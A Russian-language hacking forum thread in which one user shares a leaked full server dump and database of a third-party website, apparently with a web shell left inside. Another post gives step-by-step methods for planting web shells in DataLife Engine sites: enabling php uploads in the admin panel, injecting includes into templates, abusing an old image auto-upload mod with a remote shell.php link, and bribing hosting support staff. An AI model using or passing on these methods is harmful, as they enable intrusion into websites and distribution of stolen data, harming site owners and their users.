Globalstrategy.ком.ua

O*nix

Старейшина
Репутация
55 / 768
globalstrategy.ком.ua
121.JPG

Слил недавно из-за дизайна. БД прилагается.
Минус: Скрипт не чистил и скачал как есть. Помойму даже шшел там свой забыл.
Плюс: Залил на свой сервак - должны быстро скачать впринципи.
Весит: ~175 мб.

Для скачки нужно 3 спасибки.
 
скрины в главном посте есть.

Да это ДЛЕ
а рип шаблона не прокатит? тут со всеми модулями и тд?
раскажи как шелл заливать))
 
а рип шаблона не прокатит? тут со всеми модулями и тд?
раскажи как шелл заливать))
Это полный дамп дерриктории сервера.

По поводу шшела.
Исполнения шеллов в движке DataLife Engine

Некоторые способы работают на одном или ином движке, некоторые на всех.
Если не получилось так, то пробуйте иначе.

Начну я со способов с доступом к админке.

Первый способ!

Идём в настройки системы - выбираем настройки по загрузке файлов (ищите там где картинки сверху настроек и ниже меню админки) и вписываем в строку разрешенных файлов для загрузки php.
Сохраняем.

Дальше идём в добавление новости, заливаем шелл. И вставляем в новость слово типа [attachment.....] берём его в теги
Нажимаем кнопку "Предварительный просмотр" и видим адресс шелла.


Второй способ!

Идём в админку - шаблоны - и вставляем в main.tpl к примеру
{include "shell"}

Идём на сайт и быстро делаем свои дела.

Или же если есть доступ в login.tpl
Вставляем код шелла прямо в него.


Третий способ может использоват и с админкой и с правами журналиста.

Сейчас популярен мод автозагрузки картинок на сайт.
И на 30% сайтов стоит старая версия мода, в которой нет проверки формата.
Т.е. мод работает так:
Все файлы/картинки что в тегах
и находятся на стороннем домене автоматом идут на сервер.

В старой версии, хватает сделать так:
и добавить новость.
Дальше идём в новость и смотрим адресс шелла.


Ну и наверно последний способ, сам по себе не связан с багами .

Идёте в whois сервис. Пробиваете dns сервера желаемого сайта.
Обычно это
ns1.hosting.ru

Идём на *hosting.ru и узнаем аську какого нить стороннего саппорта.

Стучим ему, даём 10$ и получаем шелл
ЗЫ я так нашёл 30 хостингов с таким саппортом.
50% сайтов...

Статья не моя, но от спасибо не откажусь *wink*
 
Ну что кто-нибудь скачал? а то я толком скрипт не смотрел. может че интересное есть ))
 
Привет,

ссылку на скачивание мертвые


Не могли бы вы загрузить его снова?


спасибо!
 
Ссыока на БД сдохла, перезалейте у кого сохранилось... :)
 
Третий способ может использоват и с админкой и с правами журналиста.

Сейчас популярен мод автозагрузки картинок на сайт.
И на 30% сайтов стоит старая версия мода, в которой нет проверки формата.
Т.е. мод работает так:
Все файлы/картинки что в тегах
и находятся на стороннем домене автоматом идут на сервер.

В старой версии, хватает сделать так:
и добавить новость.
Дальше идём в новость и смотрим адресс шелла.

Как я понял мы добавляем новость и вставляем [ img] http://site.ru/shell.php [ img] вот так
да у нас получаеться на сайте в новости добавилась картинка
как посмотреть адрес шелла ?:)
 
а версия длишки то какая? а то 7.0 какая нибудь или еще древнее.
 
ну это гуд, хм, а в 8.5 много дыр? эту как качнули то? вроде как 8.2 совсем дырявая а 8.5 говорят что гуд движок. или дли вообще гамно и с ним лучше не связыватся?
 
Сверху